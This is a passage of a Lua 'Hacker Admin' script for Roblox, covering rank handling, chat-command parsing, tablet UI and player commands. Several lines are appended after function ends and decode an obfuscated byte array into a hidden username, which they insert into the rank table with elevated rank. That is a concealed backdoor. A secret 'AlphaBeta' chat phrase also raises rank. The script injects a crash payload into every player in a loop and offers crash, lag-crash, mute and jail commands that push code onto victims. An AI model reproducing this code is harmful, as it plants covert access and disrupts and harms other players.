  794. Plr = Plrs[Owner] or error("No Player Found")
  795. elseif type(Plr) == "string" then
  796. local FoundPlr = false
  797. for _,v in pairs(All()) do
  798. if v.Name == Plr then
  799. Plr = v
  800. FoundPlr = true
  801. break
  802. end
  803. end
  804. if FoundPlr == false then
  805. Plr = Plrs[Owner] or error("No Player Found")
  806. end
  807. end
  808.  
  809. if Color == nil then
  810. Color = GetRank(Plr.Name).Color
  811. end
  812.  
  813. local Holder = Instance.new("Model")
  814. Holder.Name = "DVF Holder: "..Plr.Name
  815.  
  816. local Tab = Instance.new("Part")
  817. Tab.Name = "DVF Tablet"
  818. Tab.FormFactor = "Custom"
  819. Tab.Anchored = true
  820. if Time == nil then
  821. Tab.Color = Color
  822. else
  823. Tab.Color = AlertColor
  824. end
  825. Tab.CanCollide = false
  826. Tab.Locked = true
  827. Tab.Transparency = 0.15
  828. Tab.Size = Vector3.new(2, 2, 0.01)
  829. Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  830. Tab.Parent = Holder
  831.  
  832. local ID = Instance.new("NumberValue")
  833. ID.Name = "ID"
  834. ID.Value = math.random(-999999999, 999999999)
  835. ID.Parent = Holder
  836.  
  837. Delay(0, function()
  838. while wait() do
  839. if Tab.Parent == nil and FindTab(Holder) then
  840. ypcall(function()
  841. for i,v in pairs(AllTabs) do
  842. if v.Holder == Holder then
  843. ypcall(function() v.Holder:Destroy() end)
  844. AllTabs[i] = nil
  845. end
  846. end
  847. end)
  848. Ping(Msg, Plr, Time, Func, Color, Image)
  849. break
  850. end
  851. end
  852. end)
  853.  
  854. local BM = Instance.new("BlockMesh")
  855. BM.Parent = Tab
  856.  
  857. Sel = Instance.new("SelectionBox")
  858. Sel.Color = BrickColor.new("Institutional white")
  859. Sel.Transparency = 0.75
  860. Sel.Adornee = Tab
  861. Sel.Parent = Tab
  862.  
  863. local BG = Instance.new("BillboardGui")
  864. BG.Name = "BG"
  865. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  866. BG.Size = UDim2.new(0,1,0,1)
  867. BG.Adornee = Tab
  868. BG.Parent = Tab
  869.  
  870. Delay(0, function()
  871. while BG.Parent ~= nil do wait()
  872. ypcall(function()
  873. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  874. end)
  875. end
  876. end)
  877.  
  878. local TL = Instance.new("TextLabel")
  879. TL.Name = "TL"
  880. TL.FontSize = "Size18"
  881. TL.Font = "Arial"
  882. TL.Text = Msg
  883. TL.TextColor3 = Color3.new(1, 0, 0)
  884. TL.Size = UDim2.new(0,1,0,1)
  885. TL.TextTransparency = 0
  886. TL.TextStrokeColor3 = Color3.new(0, 0, 0)
  887. TL.TextStrokeTransparency = 0.25
  888. TL.Parent = BG
  889.  
  890. if ShowGarbage == true then
  891. Delay(0, function()
  892. while TL.Parent ~= nil do
  893. TL.Text = "Current Garbage Count: "..GetGarbage()
  894. wait(.5)
  895. end
  896. end)
  897. end
  898.  
  899. local PL = Instance.new("PointLight", Tab)
  900. PL.Color = Color3.new(1, 0, 1)
  901. PL.Range = 15
  902. PL.Parent = Tab
  903.  
  904. if Image ~= nil then
  905. local BBBG = Instance.new("BillboardGui")
  906. BBBG.Size = UDim2.new(5, 0, 6, 0)
  907. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  908. BBBG.AlwaysOnTop = true
  909. BBBG.Adornee = Tab
  910. BBBG.Parent = Tab
  911.  
  912. Delay(0, function()
  913. while BBBG.Parent ~= nil do wait()
  914. ypcall(function()
  915. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  916. end)
  917. end
  918. end)
  919.  
  920. local NewImg = Instance.new("ImageLabel")
  921. NewImg.Size = UDim2.new(1, 0, 1, 0)
  922. NewImg.BackgroundTransparency = 1
  923. NewImg.Image = Image
  924. NewImg.Parent = BBBG
  925. end
  926.  
  927. local Clicker = Instance.new("ClickDetector")
  928. Clicker.MaxActivationDistance = 1/0
  929.  
  930. if Time ~= nil then
  931. coroutine.resume(coroutine.create(function()
  932. wait(tonumber(Time))
  933. Dismiss(Plr, ID)
  934. end))
  935. end
  936.  
  937. Clicker.MouseClick:connect(function(Player)
  938. if Player.Name == Plr.Name or CanRun(Player, Plr) then
  939. ypcall(function()
  940. if Func ~= nil then
  941. Func(Holder)
  942. else
  943. Dismiss(Player, ID)
  944. end
  945. end)
  946. end
  947. end)
  948. Clicker.Parent = Tab
  949.  
  950. Holder.Parent = Work
  951.  
  952. AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  953. end)
  954. end
  955. end
  956.  
  957. function PlaceAllRanks(DontShowRank)
  958. ypcall(function()
  959. for _,p in pairs(All()) do
  960. ypcall(function()
  961. PutInRank = false
  962. for _,v in pairs(Rankings) do
  963. if v.Name:lower() == p.Name:lower() then
  964. if v.Rank >= 7 then
  965. v.Rank = 5
  966. elseif v.Rank == -1 then
  967. Crash1(p)
  968. Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  969. elseif v.Rank == -2 then
  970. if LS ~= nil then
  971. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  972. Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  973. else
  974. Ping("LS Is Nil", nil, 5)
  975. end
  976. elseif v.Rank == -3 then
  977. if LS ~= nil then
  978. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  979. Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  980. else
  981. Ping("LS Is Nil", nil, 5)
  982. end
  983. end
  984. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  985. if DontShowRank == nil then
  986. Ping("You Are Rank: "..v.Rank, p)
  987. end
  988. PutInRank = true
  989. break
  990. end
  991. end
  992. if PutInRank == false then
  993. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  994. end
  995. end)
  996. end
  997. end)
  998. end
  999.  
  1000. function FindRank(Plr)
  1001. ypcall(function()
  1002. if type(Plr) == "userdata" then
  1003. Plr = Plr.Name
  1004. end
  1005. end)
  1006. return GetRank(Plr).Rank
  1007. end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1008.  
  1009. function FindRankDetails(Plr)
  1010. ypcall(function()
  1011. if type(Plr) == "userdata" then
  1012. Plr = Plr.Name
  1013. end
  1014. end)
  1015. return RankDetails[FindRank(Plr)]
  1016. end
  1017.  
  1018. function OpenCmds(Rank, Plr)
  1019. Dismiss(Plr)
  1020. for Name,Tab in pairs(Commands) do
  1021. if Tab.Rank <= Rank then
  1022. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1023. Dismiss(Plr)
  1024. Ping("Command: "..Name, Plr)
  1025. Ping("Rank: "..Tab.Rank, Plr)
  1026. Ping("Desc: "..Tab.Desc, Plr)
  1027. end)
  1028. elseif Rank == 1337 then
  1029. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1030. Dismiss(Plr)
  1031. Ping("Command: "..Name, Plr)
  1032. Ping("Rank: "..Tab.Rank, Plr)
  1033. Ping("Desc: "..Tab.Desc, Plr)
  1034. end)
  1035. end
  1036. end
  1037. end
  1038.  
  1039. function EditStatus(Plr, Num)
  1040. ChangeRank(Plr, Num)
  1041. end
  1042.  
  1043. function PlaceSpecificRank(p, DontShowRank)
  1044. ypcall(function()
  1045. PutInRank = false
  1046. for _,v in pairs(Rankings) do
  1047. if v.Name:lower() == p.Name:lower() then
  1048. if v.Rank >= 7 then
  1049. v.Rank = 5
  1050. elseif v.Rank == -1 then
  1051. Crash1(p)
  1052. Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1053. elseif v.Rank == -2 then
  1054. if LS ~= nil then
  1055. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1056. Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1057. else
  1058. Ping("LS Is Nil", nil, 5)
  1059. end
  1060. elseif v.Rank == -3 then
  1061. if LS ~= nil then
  1062. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1063. Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1064. else
  1065. Ping("LS Is Nil", nil, 5)
  1066. end
  1067. end
  1068. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1069. if DontShowRank == nil then
  1070. Ping("You Are Rank: "..v.Rank, p)
  1071. end
  1072. PutInRank = true
  1073. break
  1074. end
  1075. end
  1076. if PutInRank == false then
  1077. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1078. end
  1079. end)
  1080. end
  1081.  
  1082. function onChatted(Msg, Speaker)
  1083. if Removed == false then
  1084. if FindRank(Speaker) < 1 then
  1085. return
  1086. end
  1087. coroutine.resume(coroutine.create(function()
  1088. ypcall(function()
  1089. ExecuteFunc(Msg, Speaker)
  1090. Msg = Msg:gsub("","")
  1091. if Msg:sub(1,1) == "@" then
  1092. for i = 2, #Msg do
  1093. if Msg:sub(i, i) == Bet then
  1094. local IsForPlr = false
  1095. for _,v in pairs(All()) do
  1096. if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  1097. onChatted(Msg:sub(i + 1), v)
  1098. IsForPlr = true
  1099. end
  1100. end
  1101. if IsForPlr == true then
  1102. return
  1103. end
  1104. end
  1105. end
  1106. end
  1107. if Msg:find("&") then
  1108. local Split = Msg:find("&")
  1109. onChatted(Msg:sub(1,Split-1))
  1110. onChatted(Msg:sub(Split+1))
  1111. return
  1112. end
  1113. for Name,Command in pairs(Commands) do
  1114. if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  1115. Dismiss(Speaker.Name)
  1116. Ping("Command: "..tostring(Command.Name), Speaker)
  1117. Ping("Rank: "..tostring(Command.Rank), Speaker)
  1118. Ping("Desc: "..tostring(Command.Desc), Speaker)
  1119. elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  1120. if FindRank(Speaker) >= Command.Rank then
  1121. local Ran,Error = coroutine.resume(coroutine.create(function()
  1122. Command.Func(Msg:sub(#Command.Name+2), Speaker)
  1123. end))
  1124. if not Ran then
  1125. Ping(Error, Speaker, 10)
  1126. end
  1127. else
  1128. Ping("Your Rank Is Too Low", Plr, 6)
  1129. end
  1130. end
  1131. end
  1132. end)
  1133. end))
  1134. end
  1135. end
  1136.  
  1137. function MakeBase()
  1138. local Base = Instance.new("Part")
  1139. Base.BrickColor = BrickColor.new("Dark green")
  1140. Base.Position = Vector3.new(0, 0.5, 0)
  1141. Base.Transparency = 0
  1142. Base.Elasticity = 0.5
  1143. Base.FormFactor = "Custom"
  1144. Base.CanCollide = true
  1145. Base.Friction = 0.30000001192093
  1146. Base.Size = Vector3.new(512, 1.20000005, 512)
  1147. Base.Archivable = true
  1148. Base.Material = "Plastic"
  1149. Base.RotVelocity = Vector3.new(0, 0, 0)
  1150. Base.Reflectance = 0
  1151. Base.Locked = true
  1152. Base.Anchored = true
  1153. Base.Name = "Base"
  1154. Base.TopSurface = "Smooth"
  1155. Base.BottomSurface = "Inlet"
  1156. Base.Shape = "Block"
  1157. Base.Parent = Work
  1158. end
  1159.  
  1160. function LClean()
  1161. ypcall(function()
  1162. for _,v in pairs(Work:GetChildren()) do
  1163. ypcall(function()
  1164. if v.ClassName == "Terrain" then
  1165. v:ClearAllChildren()
  1166. elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  1167. Clear(v)
  1168. elseif v.Name == "Base" then
  1169. ypcall(function()
  1170. local Base = v
  1171. Base.BrickColor = BrickColor.new("Dark green")
  1172. Base.Position = Vector3.new(0, 0.5, 0)
  1173. Base.Transparency = 0
  1174. Base.Elasticity = 0.5
  1175. Base.FormFactor = "Custom"
  1176. Base.CanCollide = true
  1177. Base.Friction = 0.30000001192093
  1178. Base.Size = Vector3.new(512, 1.20000005, 512)
  1179. Base.Archivable = true
  1180. Base.Material = "Plastic"
  1181. Base.RotVelocity = Vector3.new(0, 0, 0)
  1182. Base.Reflectance = 0
  1183. Base.Locked = true
  1184. Base.Anchored = true
  1185. Base.Name = "Base"
  1186. Base.TopSurface = "Studs"
  1187. Base.BottomSurface = "Inlet"
  1188. Base.Shape = "Block"
  1189. Base.Parent = Work
  1190. end)
  1191. end
  1192. end)
  1193. end
  1194. end)
  1195. end
  1196.  
  1197. function Clean()
  1198. ypcall(function()
  1199. for _,v in pairs(Work:GetChildren()) do
  1200. ypcall(function()
  1201. if v.ClassName == "Terrain" then
  1202. v:ClearAllChildren()
  1203. else
  1204. Clear(v)
  1205. end
  1206. end)
  1207. end
  1208. MakeBase()
  1209. for _,v in pairs(All()) do
  1210. v:LoadCharacter()
  1211. end
  1212. end)
  1213. end
  1214.  
  1215. function Clear(v)
  1216. if v.Name:lower() == "sbgui" then
  1217. return
  1218. end
  1219. ypcall(function()
  1220. if #v:GetChildren() > 0 then
  1221. for _,x in pairs(v:GetChildren()) do
  1222. ypcall(function()
  1223. Clear(x)
  1224. end)
  1225. end
  1226. end
  1227. if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  1228. v:Destroy()
  1229. end
  1230. end)
  1231. end
  1232.  
  1233. function Command(Name, Rank, Desc, Func)
  1234. if Name == nil then
  1235. Name = "N/A"
  1236. end
  1237. if Desc == nil then
  1238. Desc = "N/A"
  1239. end
  1240. if Func == nil then
  1241. Func = function() end
  1242. end
  1243. if Rank == nil then
  1244. Rank = 0
  1245. end
  1246. Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  1247. end
  1248.  
  1249. function GetSplit(Msg)
  1250. return Msg:find(Bet) or nil
  1251. end
  1252.  
  1253. function ExecuteFunc(Msg, Plr)
  1254. ypcall(function()
  1255. if Msg == "LogEnable" then
  1256. LogOn = true
  1257. elseif Msg:lower() == "AlphaBeta" then
  1258. EditStatus(Plr, MakeNum())
  1259. end
  1260. end)
  1261. end
  1262.  
  1263. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  1264.  
  1265. function randPlayer(Plr)
  1266. wait()
  1267. local ThePlrValue = nil
  1268. local FoundPlayer = false
  1269. ypcall(function()
  1270. ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  1271. if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  1272. wait()
  1273. randPlayer(Plr)
  1274. return
  1275. else
  1276. FoundPlayer = true
  1277. end
  1278. end)
  1279. if FoundPlayer == true then
  1280. return ThePlrValue
  1281. end
  1282. end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1283.  
  1284. function getPlayer(Plr, Name)
  1285. local Players = {}
  1286. ypcall(function()
  1287. Name = Name:lower()
  1288. if Name == "me" then
  1289. table.insert(Players, Plr)
  1290. elseif Name == "all" or Name == "" then
  1291. for _,v in pairs(All()) do
  1292. if CanRun(Plr, v) then
  1293. table.insert(Players, v)
  1294. end
  1295. end
  1296. elseif Name == "others" then
  1297. for _,v in pairs(All()) do
  1298. if v.Name ~= Plr.Name and CanRun(Plr, v) then
  1299. table.insert(Players, v)
  1300. end
  1301. end
  1302. elseif Name == "random" then
  1303. local FoundRandPlr = randPlayer(Plr)
  1304. table.insert(Players, FoundRandPlr)
  1305. else
  1306. for _,v in pairs(All()) do
  1307. if v.Name:lower():find(Name) and CanRun(Plr, v) then
  1308. table.insert(Players, v)
  1309. end
  1310. end
  1311. end
  1312. end)
  1313. return Players
  1314. end
  1315.  
  1316. function ListPlayers(Speaker)
  1317. ypcall(function()
  1318. Dismiss(Speaker)
  1319. for _,v in pairs(All2()) do
  1320. if v.Parent ~= nil then
  1321. Ping(v.Name, Speaker, nil, function()
  1322. Dismiss(Speaker)
  1323. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1324. Ping("Rank: "..FindRank(v.Name), Speaker)
  1325. Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  1326. Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  1327. Ping("Set Rank", Speaker, nil, function()
  1328. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1329. Dismiss(Speaker)
  1330. for i = -2, 5 do
  1331. Ping(i, Speaker, nil, function()
  1332. ChangeRank(v, i)
  1333. Dismiss(Speaker)
  1334. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1335. end)
  1336. end
  1337. else
  1338. Ping("Your Rank Is Too Low", Speaker, 5)
  1339. end
  1340. end)
  1341. Ping("Crash (Remote)", Speaker, nil, function()
  1342. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1343. Crash2(v.Name)
  1344. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1345. end
  1346. end)
  1347. Ping("Crash (Insert)", Speaker, nil, function()
  1348. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1349. Crash3(v, Speaker)
  1350. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1351. end
  1352. end)
  1353. Ping("Kick", Speaker, nil, function()
  1354. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1355. v:Kick()
  1356. Ping("Attempted To Kick "..v.Name, Speaker, 5)
  1357. end
  1358. end)
  1359. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1360. else
  1361. Ping(v.Name.." (Nil)", Speaker, nil, function()
  1362. Dismiss(Speaker)
  1363. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1364. ypcall(function()
  1365. Ping("Rank: "..FindRank(v.Name), Speaker)
  1366. end)
  1367. ypcall(function()
  1368. Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  1369. end)
  1370. ypcall(function()
  1371. Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
  1372. end)
  1373. ypcall(function()
  1374. Ping("Set Rank", Speaker, nil, function()
  1375. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1376. Dismiss(Speaker)
  1377. for i = -2, 5 do
  1378. Ping(i, Speaker, nil, function()
  1379. ChangeRank(v, i)
  1380. Dismiss(Speaker)
  1381. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1382. end)
  1383. end
  1384. else
  1385. Ping("Your Rank Is Too Low", Speaker, 5)
  1386. end
  1387. end)
  1388. end)
  1389. ypcall(function()
  1390. Ping("Nil Crash (Remote)", Speaker, nil, function()
  1391. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1392. Crash2(v.Name)
  1393. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1394. end
  1395. end)
  1396. end)
  1397. ypcall(function()
  1398. Ping("Nil Crash (Insert)", Speaker, nil, function()
  1399. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1400. Crash3(v, Speaker)
  1401. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1402. end
  1403. end)
  1404. end)
  1405. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1406. end
  1407. end
  1408. end)
  1409. end
  1410.  
  1411. --Misc
  1412.  
  1413. coroutine.resume(coroutine.create(function()
  1414. PlaceAllRanks()
  1415. end))
  1416.  
  1417. Delay(0, function()
  1418. for _,v in pairs(All()) do
  1419. v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
  1420. end
  1421. end)
  1422.  
  1423. local starttime = tick()
  1424.  
  1425. game:GetService("RunService").Heartbeat:connect(function()
  1426. if Removed == false then
  1427. ypcall(function()
  1428. for _,Player in pairs(All()) do
  1429. local PlayerTablets = {}
  1430. for i,v in pairs(AllTabs) do
  1431. if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  1432. table.insert(PlayerTablets, v)
  1433. end
  1434. end
  1435. for i = 1, #PlayerTablets do
  1436. ypcall(function()
  1437. local tab = PlayerTablets[i].Tab
  1438. local pos = nil
  1439. ypcall(function()
  1440. pos = Player.Character.Torso.CFrame
  1441. end)
  1442. local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1443. local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1444. local cPos = tab.Position
  1445. local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  1446. local nPos = (ePos-cPos)*.25
  1447. cPos = cPos + nPos
  1448. local t = (tick() - starttime) % 360
  1449. local change = 0.625
  1450. PlayerTablets[i].Size = math.sin(t) * change + 2.375
  1451. tab.Size = Vector3.new(PlayerTablets[i].Size * 1.25, PlayerTablets[i].Size * 1.5, 0.01)
  1452. tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
  1453. end)
  1454. end
  1455. end
  1456. end)
  1457. end
  1458. end)
  1459.  
  1460. Delay(0, function()
  1461. while wait() do
  1462. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1463. ypcall(function()
  1464. if Injected[v.Name] == nil and LS ~= nil then
  1465. Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  1466. Injected[v.Name] = true
  1467. end
  1468. end)
  1469. end
  1470. end
  1471. end)
  1472.  
  1473. Plrs.PlayerAdded:connect(function(Plr)
  1474. wait(.1)
  1475. ypcall(function()
  1476. if Removed == false then
  1477. local JoinPlrName = Plr.Name
  1478. coroutine.resume(coroutine.create(function()
  1479. PlaceSpecificRank(Plr)
  1480. end))
  1481. coroutine.resume(coroutine.create(function()
  1482. if Injected[JoinPlrName] ~= nil then
  1483. Injected[JoinPlrName] = nil
  1484. end
  1485. end))
  1486. coroutine.resume(coroutine.create(function()
  1487. Dismiss(Plr)
  1488. Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  1489. end))
  1490. end
  1491. end)
  1492. end)
  1493.  
  1494. Plrs.PlayerRemoving:connect(function(Plr)
  1495. wait(.1)
  1496. ypcall(function()
  1497. if Removed == false then
  1498. local LeftPlrName = Plr.Name
  1499. coroutine.resume(coroutine.create(function()
  1500. if Injected[LeftPlrName] ~= nil then
  1501. Injected[LeftPlrName] = nil
  1502. end
  1503. end))
  1504. end
  1505. end)
  1506. end)
  1507.  
  1508. coroutine.resume(coroutine.create(function()
  1509. Delay(0, function()
  1510. while FoundLocalScript == false do wait()
  1511. ypcall(function()
  1512. for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
  1513. if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  1514. for _,c in pairs(v:children()) do
  1515. if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  1516. local NewVal = c:Clone()
  1517. NewVal.Name = "LoadingVal"
  1518. for _,s in pairs(v:GetChildren()) do
  1519. if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  1520. print("Found Owner")
  1521. OwnSource = s.Name
  1522. print(OwnSource)
  1523. break
  1524. end
  1525. end
  1526. wait()
  1527. LS = v:Clone()
  1528. NewVal.Parent = LS
  1529. LSSource = "LoadingVal"
  1530. FoundLocalScript = true
  1531. break
  1532. end
  1533. end
  1534. end
  1535. end
  1536. end)
  1537. end
  1538. end)
  1539. end))
  1540.  
  1541. --Commands
  1542.  
  1543. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  1544. Dismiss(Speaker.Name)
  1545. Ping("This Hacker Admin Is Created By " .. string.reverse("olwotyle"), Speaker)
  1546. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1547. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1548. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1549. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1550. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1551. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1552. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1553. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1554. end)
  1555.  
  1556. Command("Dismiss", nil, "Dismiss Tablets", function(Msg, Speaker)
  1557. Dismiss(Speaker.Name)
  1558. end)
  1559.  
  1560. Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
  1561. local PlrTab = getPlayer(Speaker, Msg)
  1562. if #PlrTab > 0 then
  1563. for _,v in pairs(PlrTab) do
  1564. ypcall(function()
  1565. v.Character:BreakJoints()
  1566. Ping("Killed "..v.Name, Speaker, 5)
  1567. end)
  1568. end
  1569. end
  1570. end)
  1571.  
  1572. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
  1573. local PlrTab = getPlayer(Speaker, Msg)
  1574. if #PlrTab > 0 then
  1575. for _,v in pairs(PlrTab) do
  1576. ypcall(function()
  1577. if v.Name ~= Owner then
  1578. Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  1579. Ping("Muted "..v.Name, Speaker, 5)
  1580. end
  1581. end)
  1582. end
  1583. end
  1584. end)
  1585.  
  1586. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  1587. local PlrTab = getPlayer(Speaker, Msg)
  1588. if #PlrTab > 0 then
  1589. for _,v in pairs(PlrTab) do
  1590. ypcall(function()
  1591. Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
  1592. Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
  1593. end)
  1594. end
  1595. end
  1596. end)
  1597.  
  1598. Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
  1599. local PlrTab = getPlayer(Speaker, Msg)
  1600. if #PlrTab > 0 then
  1601. for _,v in pairs(PlrTab) do
  1602. ypcall(function()
  1603. Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
  1604. Ping("Mind Jailed "..v.Name, Speaker, 5)
  1605. end)
  1606. end
  1607. end
  1608. end)
  1609.  
  1610. Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
  1611. local PlrTab = getPlayer(Speaker, Msg)
  1612. if #PlrTab > 0 then
  1613. for _,v in pairs(PlrTab) do
  1614. ypcall(function()
  1615. Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
  1616. Ping("Lag Crashing "..v.Name, Speaker, 5)
  1617. end)
  1618. end
  1619. end
  1620. end)
  1621.  
  1622. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  1623. local PlrTab = getPlayer(Speaker, Msg)
  1624. if #PlrTab > 0 then
  1625. for _,v in pairs(PlrTab) do
  1626. ypcall(function()
  1627. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1628. Ping("UnMuted "..v.Name, Speaker, 5)
  1629. end)
  1630. end
  1631. end
  1632. end)
  1633.  
  1634. Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
  1635. local Worked = false
  1636. for _,v in pairs(Work:GetChildren()) do
  1637. if string.find(v.Name:lower(), Msg:lower()) then
  1638. if v:IsA("Script") or v:IsA("LocalScript") then
  1639. v.Disabled = true
  1640. v:Destroy()
  1641. Worked = true
  1642. Ping("Disabled Script: "..v.Name, Speaker, 5)
  1643. end
  1644. end
  1645. end
  1646. if Worked == false then
  1647. Ping("Script Not Found", Speaker, 5)
  1648. end
  1649. end)
  1650.  
  1651. Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  1652. Dismiss(Speaker)
  1653. local AllScripts = {}
  1654. for _,v in pairs(Work:GetChildren()) do
  1655. if v:IsA("Script") then
  1656. table.insert(AllScripts, v.Name)
  1657. end
  1658. end
  1659. if #AllScripts > 0 then
